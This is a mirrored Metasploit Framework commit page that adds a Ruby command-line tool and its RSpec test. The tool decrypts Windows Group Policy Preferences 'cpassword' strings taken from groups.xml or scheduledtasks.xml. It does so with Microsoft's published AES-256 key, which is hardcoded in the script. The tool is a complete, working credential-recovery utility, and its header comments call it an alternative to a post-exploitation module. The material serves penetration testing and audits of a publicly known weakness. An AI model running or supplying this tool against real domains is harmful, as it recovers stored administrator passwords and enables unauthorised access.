1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Land #2754 - Created standalone module for cpassword AES decrypt

This commit is contained in:
sinn3r 2013-12-19 12:13:21 -06:00
commit 709a7bfb99
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
2 changed files with 163 additions and 0 deletions

View File

@ -0,0 +1,31 @@
require 'spec_helper'
load Metasploit::Framework.root.join('tools/cpassword_decrypt.rb').to_path
require 'fastlib'
require 'msfenv'
require 'msf/base'
describe CPassword do
context "Class methods" do
let(:cpasswd) do
CPassword.new
end
context ".decrypt" do
it "should return the decrypted password as 'testpassword'" do
# Encrypted password for "testpassword"
cpass = "AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk"
pass = cpasswd.decrypt(cpass)
pass.should eq('testpassword')
end
it "should return an empty string due to a bad password" do
# Invalid password format
cpass = "BadPassword"
pass = cpasswd.decrypt(cpass)
pass.should eq('')
end
end
end
end

132
tools/cpassword_decrypt.rb Executable file
View File

@ -0,0 +1,132 @@
#!/usr/bin/env ruby
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# This script will allow you to specify an encrypted cpassword string using the Microsofts public
# AES key. This is useful if you don't or can't use the GPP post exploitation module. Just paste
# the cpassword encrypted string found in groups.xml or scheduledtasks.xml and it will output the
# decrypted string for you.
#
# Tested Windows Server 2008 R2 Domain Controller.
#
# Authors:
# Ben Campbell <eat_meatballs[at]hotmail.co.uk>
# Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>
# scriptmonkey <scriptmonkey[at]owobble.co.uk>
# theLightCosine
# mubix (domain/dc enumeration code)
# David Kennedy "ReL1K" <kennedyd013[at]gmail.com>
#
# References:
# http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
# http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)
# http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
# http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx
#
# Demo:
# $ ./cpassword_decrypt.rb AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk
# [+] The decrypted AES password is: testpassword
#
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
require 'fastlib'
require 'msfenv'
require 'rex'
class CPassword
#
# Decrypts the AES-encrypted cpassword string
# @param encrypted_data [String] The encrypted cpassword
# @return [String] The decrypted string in ASCII
#
def decrypt(encrypted_data)
# Prepare the password for the decoder
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
# Decode the string using Base64
decoded = Rex::Text.decode_base64(epassword)
# Decryption
key = ''
key << "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc"
key << "\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
begin
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
rescue OpenSSL::Cipher::CipherError
# Decryption failed possibily due to bad input
return ''
end
# Converts the string to ASCII
Rex::Text.to_ascii(plaintext)
end
end
#
# Shows script usage
#
def usage
print_status("Usage: #{__FILE__} [The encrypted cpassword string]")
exit
end
#
# Prints a status message
#
def print_status(msg='')
$stderr.puts "[*] #{msg}"
end
#
# Prints an error message
#
def print_error(msg='')
$stderr.puts "[-] #{msg}"
end
#
# Prints a good message
#
def print_good(msg='')
$stderr.puts "[+] #{msg}"
end
#
# main
#
if __FILE__ == $PROGRAM_NAME
pass = ARGV.shift
# Input check
usage if pass.nil? or pass.empty?
cpasswd = CPassword.new
pass = cpasswd.decrypt(pass)
if pass.empty?
print_error("Nothing was decrypted, please check your input.")
else
print_good("The decrypted AES password is: #{pass}")
end
end